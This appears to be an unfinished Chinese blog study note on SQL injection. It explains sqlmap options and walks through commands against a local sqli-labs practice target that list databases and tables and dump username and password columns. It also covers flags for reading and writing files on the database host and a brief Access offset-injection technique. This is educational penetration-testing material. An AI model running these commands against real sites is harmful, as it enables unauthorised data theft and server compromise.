SQL注入学习总结(未更新完毕)

工具准备

主要工具:sqlmap,burpsuite,phpstudy,sqli-labs

sqlmap
windows版本:需要安装python环境(sqlmap2.x.x与python兼容)python windowsX86-64 MSI installer 环境与软件均在官网
linux版本 :kalilinux自带sqlmap直接使用
burpsuite,sqli-labs,phpstudy
均在官网下载
burpsuite是一款强大的渗透工具
sqli-labs是某印度程序员编写的一款SQL注入实验环境
phpstudy是方便的集成工具PHP+MYSQL+APACHE+PHPMYADMIN


SQLmap常用语句以及解释(以windows环境下的SQLmap作为举例。版本1.3.5.41)

python sqlmap.py 调用python环境下的sqlmap,在安装目录(sqlmapproject-sqlmap-4d028c7)下打开。(我放在E盘)
SQL注入学习总结(未更新完毕)
在这里输入cmd可以直接在目录下打开命令行
-h 查看帮助
-hh 查看详细帮助
-u " http://www… " 在这里输入url即注入点
-r " .txt " 可以将文本保存在txt文件里,然后进行注入。例如HTTP响应等
–batch 如果弹出选择,则默认
–dbs 罗列所有数据库
–tables 罗列所有表单
–columns 罗列多有列
–technique TECH 选择注入方式(默认BEUST)B布尔注入 E错误注入 T时间注入 U联合注入
–dump 显示所有(数据库表名列名)
-p 指定参数 一般与-r连用
–current-db 当前数据库
-D 指定数据库名
-T 指定表单名
-C 指定列名
–file-read “绝对路径” 通过数据库读取文件
–file-write “本地绝对路径” --flie-dest “远程路径” 将本地文件写入远程数据库主机
–risk
–level 指定探测等级 默认为1(1-5)
–risk 指定执行风险 默认为1 (1-3)
(其实就是探测手段更加多样,推荐用高级)
–forms 自动搜索表单注入 即就是提交的数据(admin,password这类)
–date " 表单参数 " 指定表单参数探测
-r的文件中在注入点后加 * 可以规定注入点,可以指定如Cookie(Cookie:uname=admin
;_guid=xxxxxxxx),referer,
–tamper base64encode.py 以base64cookie注入 同理在-r文件中cookie后加

–thread 数字 多线程探测 默认为1 (1-10)
–tamper=unmagic.py 针对宽字节注入*
举例说明 (最简单的用法)
注入点 http://127.0.0.1/sqli/Less-1/?id=1
python sqlmap.py -u “http://127.0.0.1/sqli/Less-1/?id=1” --current-db 返回当前数据库名
返回security
python sqlmap.py -u “http://127.0.0.1/sqli/Less-1/?id=1” -D security --tables 返回指定数据库中的表名
返回
SQL注入学习总结(未更新完毕)
python sqlmap.py -u “http://127.0.0.1/sqli/Less-1/?id=1” -D security -T users --columns 返回指定数据库的指定表(users)的列
返回
SQL注入学习总结(未更新完毕)
python sqlmap.py -u “http://127.0.0.1/sqli/Less-1/?id=1” -D security -T users -C username,password --dump 返回指定数据库的指定表的指定列
返回
SQL注入学习总结(未更新完毕)

注入类型

ACESS
ACCESS数据库只有表的概念,没有数据库,所以只适用于中小型企业
ACESS偏移注入
借用数据库的自连接查询让数据库内部发生乱序从而偏移出所需要的字段
适用情况:知道表名但不知道列名<>

MYSQL+PHP